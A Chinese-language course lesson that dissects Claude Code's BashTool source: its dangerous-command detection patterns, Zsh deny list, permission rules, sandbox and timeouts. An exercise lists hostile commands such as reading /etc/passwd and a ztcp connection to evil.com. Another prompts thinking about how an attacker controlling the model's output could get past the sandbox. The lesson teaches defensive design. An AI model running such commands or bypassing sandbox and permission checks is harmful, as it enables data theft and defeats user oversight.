模块四:工具系统 | 前置依赖:第 12 课 | 预计学习时间:90 分钟
学习目标
完成本课后,你将能够:
- 描述 BashTool 的整体架构,解释为什么它是所有工具中最大的
- 解释 bashSecurity.ts 中的危险命令检测机制(命令替换、重定向、Zsh 危险命令)
- 说明 bashPermissions.ts 的三层权限判定流程(规则匹配、分类器、安全检查)
- 理解沙箱机制、超时管理和后台任务执行的工作原理
13.1 BashTool 的规模
BashTool 是整个 Claude Code 代码库中最大的单一工具,也是安全攻防最密集的地方:
tools/BashTool/
├── BashTool.tsx # 1143 行 — 核心执行逻辑
├── bashSecurity.ts # 2592 行 — 危险命令检测
├── bashPermissions.ts # 2621 行 — 权限判定逻辑
├── readOnlyValidation.ts # 1990 行 — 只读命令白名单
├── pathValidation.ts # 1303 行 — 路径操作校验
├── bashCommandHelpers.ts # 命令解析辅助
├── commandSemantics.ts # 命令结果语义解释
├── commentLabel.ts # 注释标签
├── destructiveCommandWarning.ts # 破坏性命令警告
├── modeValidation.ts # 模式校验
├── sedEditParser.ts # sed 编辑命令解析
├── sedValidation.ts # sed 命令安全校验
├── shouldUseSandbox.ts # 沙箱判定
├── pathValidation.ts # 路径安全校验
├── prompt.ts # 提示词(~370 行)
├── toolName.ts # 工具名称常量
├── UI.tsx # 渲染组件
└── utils.ts # 工具函数
总计: ~9649 行
为什么 BashTool 这么大?因为 shell 命令是最强大也最危险的工具 —— 它可以做任何事情(读写文件、执行程序、访问网络、修改系统),因此需要最强的安全防线。
13.2 输入参数与 Schema 设计
const fullInputSchema = lazySchema(() => z.strictObject({
command: z.string(), // 要执行的命令
timeout: z.number().optional(), // 超时(毫秒),最大 600000
description: z.string().optional(), // 命令描述(给用户看)
run_in_background: z.boolean().optional(), // 后台运行
dangerouslyDisableSandbox: z.boolean().optional(), // 禁用沙箱
_simulatedSedEdit: z.object({ // 内部字段:sed 编辑预计算
filePath: z.string(),
newContent: z.string(),
}).optional(),
}))
注意 _simulatedSedEdit —— 这是一个内部字段,从模型可见的 schema 中被剔除:
const inputSchema = lazySchema(() =>
isBackgroundTasksDisabled
? fullInputSchema().omit({ run_in_background: true, _simulatedSedEdit: true })
: fullInputSchema().omit({ _simulatedSedEdit: true })
)
源码注释解释了为什么:
Exposing it in the schema would let the model bypass permission checks and the sandbox by pairing an innocuous command with an arbitrary file write.
13.3 命令分类系统
BashTool 在 UI 中根据命令类型决定展示方式(折叠/展开):
┌──────────────────────────────────────────────────────┐
│ Bash 命令分类 │
├──────────────────────────────────────────────────────┤
│ │
│ 搜索命令 (BASH_SEARCH_COMMANDS) │
│ find, grep, rg, ag, ack, locate, which, whereis │
│ → UI 中可折叠,标记为 "Search" │
│ │
│ 读取命令 (BASH_READ_COMMANDS) │
│ cat, head, tail, less, more, wc, stat, file, │
│ strings, jq, awk, cut, sort, uniq, tr │
│ → UI 中可折叠,标记为 "Read" │
│ │
│ 目录列举 (BASH_LIST_COMMANDS) │
│ ls, tree, du │
│ → UI 中标记为 "Listed N directories" │
│ │
│ 语义中性 (BASH_SEMANTIC_NEUTRAL_COMMANDS) │
│ echo, printf, true, false, : │
│ → 不影响整体命令分类 │
│ │
│ 静默命令 (BASH_SILENT_COMMANDS) │
│ mv, cp, rm, mkdir, chmod, touch, cd, export... │
│ → 成功时显示 "Done" 而非 "(No output)" │
│ │
└──────────────────────────────────────────────────────┘
对于管道命令,所有部分都必须是搜索/读取命令,整个命令才被标记为可折叠:
export function isSearchOrReadBashCommand(command: string): {
isSearch: boolean; isRead: boolean; isList: boolean;
} {
let partsWithOperators = splitCommandWithOperators(command)
// ...
for (const part of partsWithOperators) {
// 跳过操作符和语义中性命令
const baseCommand = part.trim().split(/\s+/)[0]
const isPartSearch = BASH_SEARCH_COMMANDS.has(baseCommand)
const isPartRead = BASH_READ_COMMANDS.has(baseCommand)
const isPartList = BASH_LIST_COMMANDS.has(baseCommand)
if (!isPartSearch && !isPartRead && !isPartList) {
return { isSearch: false, isRead: false, isList: false } // 任何非读部分 → 不可折叠
}
}
}
13.4 bashSecurity.ts — 危险命令检测
这是整个代码库中安全检查最密集的文件(2592 行)。它的核心任务是检测可能被恶意利用的命令模式。
命令替换检测
攻击者可能通过命令替换在看似无害的命令中嵌入恶意代码:
const COMMAND_SUBSTITUTION_PATTERNS = [
{ pattern: /<\(/, message: 'process substitution <()' },
{ pattern: />\(/, message: 'process substitution >()' },
{ pattern: /=\(/, message: 'Zsh process substitution =()' },
{ pattern: /\$\(/, message: '$() command substitution' },
{ pattern: /\$\{/, message: '${} parameter substitution' },
{ pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
{ pattern: /~\[/, message: 'Zsh-style parameter expansion' },
{ pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
{ pattern: /<#/, message: 'PowerShell comment syntax' },
// ...
]
Zsh 危险命令
Zsh 有一些独特的命令可以绕过安全检查:
const ZSH_DANGEROUS_COMMANDS = new Set([
'zmodload', // 加载模块(网络、文件 I/O、伪终端)
'emulate', // -c 标志是 eval 等价物
'sysopen', // 精细文件操作(zsh/system 模块)
'sysread', // 文件描述符读取
'syswrite', // 文件描述符写入
'zpty', // 伪终端命令执行
'ztcp', // TCP 连接(数据泄漏)
'zsocket', // Unix/TCP socket
'zf_rm', // 内置 rm(绕过二进制检查)
'zf_mv', // 内置 mv
// ...
])
源码注释详细说明了攻击路径:
zmodload is the gateway to many dangerous module-based attacks: zsh/mapfile (invisible file I/O via array assignment), zsh/system (sysopen/syswrite two-step file access), zsh/zpty (pseudo-terminal command execution), zsh/net/tcp (network exfiltration via ztcp)
引号内容提取
安全检查需要区分引号内和引号外的内容:
function extractQuotedContent(command: string, isJq = false): QuoteExtraction {
let withDoubleQuotes = '' // 只去除单引号内容
let fullyUnquoted = '' // 去除所有引号内容
let unquotedKeepQuoteChars = '' // 去除内容但保留引号字符
let inSingleQuote = false
let inDoubleQuote = false
let escaped = false
for (let i = 0; i < command.length; i++) {
const char = command[i]
if (escaped) { escaped = false; /* ... */ continue }
if (char === '\\' && !inSingleQuote) { escaped = true; /* ... */ continue }
if (char === "'" && !inDoubleQuote) { inSingleQuote = !inSingleQuote; continue }
if (char === '"' && !inSingleQuote) { inDoubleQuote = !inDoubleQuote; continue }
// ...
}
}
三种提取模式各有用途:
withDoubleQuotes:检测双引号中的命令替换fullyUnquoted:检测引号外的重定向、花括号展开unquotedKeepQuoteChars:检测引号边界的#注释注入
安全重定向剥离
某些重定向是安全的,检查前可以先移除:
function stripSafeRedirections(content: string): string {
return content
.replace(/\s+2\s*>&\s*1(?=\s|$)/g, '') // 2>&1
.replace(/[012]?\s*>\s*\/dev\/null(?=\s|$)/g, '') // > /dev/null
.replace(/\s*<\s*\/dev\/null(?=\s|$)/g, '') // < /dev/null
}
注意尾部边界检查 (?=\s|$) —— 源码中有一段重要的安全注释:
Without it,
> /dev/nullomatches/dev/nullas a PREFIX, strips> /dev/nullleavingo, soecho hi > /dev/nullobecomesecho hi o. validateRedirections then sees no>and passes.
安全检查 ID 系统
每个安全检查都有一个数字 ID,用于分析和日志:
const BASH_SECURITY_CHECK_IDS = {
INCOMPLETE_COMMANDS: 1,
JQ_SYSTEM_FUNCTION: 2,
JQ_FILE_ARGUMENTS: 3,
OBFUSCATED_FLAGS: 4,
SHELL_METACHARACTERS: 5,
DANGEROUS_VARIABLES: 6,
NEWLINES: 7,
DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
IFS_INJECTION: 11,
BRACE_EXPANSION: 16,
CONTROL_CHARACTERS: 17,
UNICODE_WHITESPACE: 18,
ZSH_DANGEROUS_COMMANDS: 20,
// ...共 23 种检查
}
13.5 bashPermissions.ts — 权限判定
子命令拆分限制
复杂的复合命令可能导致子命令数组爆炸增长:
export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50
超过 50 个子命令时,直接回退到 ask 模式(需要用户确认),因为无法证明安全性。
权限规则类型
Bash 命令的权限规则支持三种匹配模式:
┌──────────────────────────────────────────────────────┐
│ Bash 权限规则类型 │
├──────────────────────────────────────────────────────┤
│ │
│ 精确匹配 (exact) │
│ "npm run test" → 只匹配这个完整命令 │
│ │
│ 前缀匹配 (prefix) │
│ "npm run test:*" → 匹配 npm run test: 开头的命令 │
│ │
│ 通配符匹配 (wildcard) │
│ "git commit *" → 匹配 git commit 加任意参数 │
│ │
└──────────────────────────────────────────────────────┘
ML 分类器集成
在传统的规则匹配之外,BashTool 还集成了一个 ML 分类器:
// bashPermissions.ts
import {
classifyBashCommand,
getBashPromptAllowDescriptions,
getBashPromptAskDescriptions,
getBashPromptDenyDescriptions,
isClassifierPermissionsEnabled,
} from '../../utils/permissions/bashClassifier.js'
分类器提供三种行为建议:
- allow:自动允许(如读取命令)
- ask:需要用户确认(如写入命令)
- deny:自动拒绝(如危险命令)
Ant 用户的分类器结果会被记录到分析系统:
function logClassifierResultForAnts(
command: string,
behavior: ClassifierBehavior,
descriptions: string[],
result: ClassifierResult,
): void {
if (process.env.USER_TYPE !== 'ant') return
logEvent('tengu_internal_bash_classifier_result', { /* ... */ })
}
13.6 readOnlyValidation.ts — 只读命令白名单
这个 1990 行的文件维护了一个精心策划的只读命令白名单,用于自动允许不会修改文件系统的命令。
白名单结构
每个命令都有详细的安全标志配置:
type CommandConfig = {
safeFlags: Record<string, FlagArgType> // 允许的标志
regex?: RegExp // 额外的正则校验
additionalCommandIsDangerousCallback?: ( // 自定义危险检测
rawCommand: string,
args: string[],
) => boolean
respectsDoubleDash?: boolean // 是否尊重 -- 选项终止符
}
例如 fd 命令的安全标志配置:
const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
'-h': 'none', '--help': 'none',
'-H': 'none', '--hidden': 'none',
'-I': 'none', '--no-ignore': 'none',
'-s': 'none', '--case-sensitive': 'none',
'-d': 'number', '--max-depth': 'number',
'-t': 'string', '--type': 'string',
'-e': 'string', '--extension': 'string',
// 注意:-x/--exec 被故意排除!
// -l/--list-details 也被排除(内部执行 ls 子进程)
}
13.7 pathValidation.ts — 路径安全
pathValidation.ts 确保命令操作的路径在允许范围内:
export type PathCommand =
| 'cd' | 'ls' | 'find' | 'mkdir' | 'touch'
| 'rm' | 'rmdir' | 'mv' | 'cp'
| 'cat' | 'head' | 'tail' | 'sort'
| 'grep' | 'rg' | 'sed' | 'git' | 'jq'
// ...共 33 种命令
危险删除路径检测
function checkDangerousRemovalPaths(
command: 'rm' | 'rmdir',
args: string[],
cwd: string,
): PermissionResult {
const paths = extractor(args)
for (const path of paths) {
const absolutePath = isAbsolute(cleanPath) ? cleanPath : resolve(cwd, cleanPath)
if (isDangerousRemovalPath(absolutePath)) {
return {
behavior: 'ask',
message: `Dangerous ${command} operation: '${absolutePath}'`,
suggestions: [], // 不提供自动保存建议
}
}
}
}
13.8 沙箱机制
shouldUseSandbox 判定
export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
// 1. 沙箱未启用 → 不使用
if (!SandboxManager.isSandboxingEnabled()) return false
// 2. 显式禁用 + 策略允许 → 不使用
if (input.dangerouslyDisableSandbox &&
SandboxManager.areUnsandboxedCommandsAllowed()) return false
// 3. 无命令 → 不使用
if (!input.command) return false
// 4. 命令在排除列表中 → 不使用
if (containsExcludedCommand(input.command)) return false
// 5. 其他情况 → 使用沙箱
return true
}
沙箱配置在提示词中的体现
prompt.ts 会将沙箱限制内联到提示词中:
const filesystemConfig = {
read: {
denyOnly: dedup(fsReadConfig.denyOnly),
allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
},
write: {
allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
},
}
一个有趣的优化 —— 临时目录路径会被规范化为 $TMPDIR:
Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with "$TMPDIR" so the prompt is identical across users — avoids busting the cross-user global prompt cache.
13.9 超时管理
export function getDefaultTimeoutMs(): number {
return getDefaultBashTimeoutMs() // 默认 120000ms(2 分钟)
}
export function getMaxTimeoutMs(): number {
return getMaxBashTimeoutMs() // 最大 600000ms(10 分钟)
}
后台任务
长时间运行的命令可以通过 run_in_background 参数在后台执行:
const fullInputSchema = lazySchema(() => z.strictObject({
// ...
run_in_background: semanticBoolean(z.boolean().optional())
.describe('Set to true to run this command in the background.'),
}))
当后台任务被禁用时(CLAUDE_CODE_DISABLE_BACKGROUND_TASKS),这个参数从 schema 中移除。
Assistant 模式自动后台化
在 Assistant 模式下,阻塞超过 15 秒的命令会自动转为后台:
const ASSISTANT_BLOCKING_BUDGET_MS = 15_000
sleep 命令检测
BashTool 会检测并阻止不必要的 sleep:
export function detectBlockedSleepPattern(command: string): string | null {
const m = /^sleep\s+(\d+)\s*$/.exec(first)
if (!m) return null
const secs = parseInt(m[1]!, 10)
if (secs < 2) return null // 2 秒以下的 sleep 允许(节流、节奏控制)
return rest ? `sleep ${secs} followed by: ${rest}` : `standalone sleep ${secs}`
}
13.10 提示词工程
BashTool 的提示词是所有工具中最长的(~370 行),包含:
工具偏好引导
const toolPreferenceItems = [
`File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
`Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
`Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
`Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
`Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
'Communication: Output text directly (NOT echo/printf)',
]
Git 安全协议
提示词中包含完整的 Git 操作指南,包括提交消息格式、PR 创建流程、安全规则等。这是一个约 80 行的指令块。
沙箱使用说明
当沙箱启用时,提示词会详细说明限制和绕过条件,引导模型正确使用 dangerouslyDisableSandbox 参数。
13.11 sed 编辑的特殊处理
BashTool 有一个针对 sed 命令的特殊路径 —— sedEditParser.ts 和 sedValidation.ts。
当用户允许一个 sed 编辑命令时,系统会预计算编辑结果(_simulatedSedEdit),然后在实际执行时直接应用预计算结果,确保用户预览和实际效果完全一致:
async function applySedEdit(simulatedEdit: {
filePath: string;
newContent: string;
}, toolUseContext: SimulatedSedEditContext): Promise<SimulatedSedEditResult> {
// 直接写入预计算的内容,而非执行 sed
writeTextContent(absoluteFilePath, newContent, encoding, endings)
}
课后练习
练习 1:安全绕过分析
以下命令哪些会被 bashSecurity.ts 标记为危险?为什么?
echo "hello" > output.txtcat file.txt | grep "pattern"FOO=$(cat /etc/passwd) && echo $FOOls -la 2>&1 > /dev/nullzmodload zsh/net/tcp && ztcp evil.com 80
练习 2:权限规则设计
设计一组 Bash 权限规则,允许以下操作但阻止其他:
- 所有
npm和yarn命令 git的只读命令(status、log、diff)但不允许 pushdocker ps和docker logs但不允许docker rm
练习 3:沙箱逃逸思考
阅读 shouldUseSandbox 的源码。如果攻击者能控制 Claude 的输出,有哪些方式可以让命令绕过沙箱?系统做了哪些防护?
练习 4:追踪一次 sed 编辑
从 Claude 输出 sed -i 's/foo/bar/g' file.txt 开始,追踪完整的执行路径:
- 命令如何被解析?
- sedEditParser 如何提取编辑意图?
- 用户看到什么样的权限确认弹窗?
- 用户确认后,实际执行的是什么?
本课小结
| 要点 | 内容 |
|---|---|
| 规模 | BashTool 目录共 ~9649 行,是最大的单一工具 |
| bashSecurity.ts | 23 种安全检查:命令替换、重定向、Zsh 危险命令、花括号展开等 |
| bashPermissions.ts | 三层权限:规则匹配 → ML 分类器 → 安全检查,50 子命令上限 |
| readOnlyValidation.ts | 只读命令白名单,每个命令有精确的安全标志配置 |
| 沙箱 | SandboxManager 控制文件系统和网络访问,支持排除列表 |
| 超时 | 默认 2 分钟,最大 10 分钟,Assistant 模式 15 秒自动后台化 |
| sed 特殊路径 | 预计算编辑结果,确保预览和执行一致 |
下一课预告
第 14 课:工具注册表与延迟加载 — 我们将退回到全局视角,看 tools.ts 如何组织 40+ 种工具的注册和过滤,ToolSearchTool 如何实现延迟加载机制,以及 toolSchemaCache.ts 如何通过 schema 缓存节省 API token。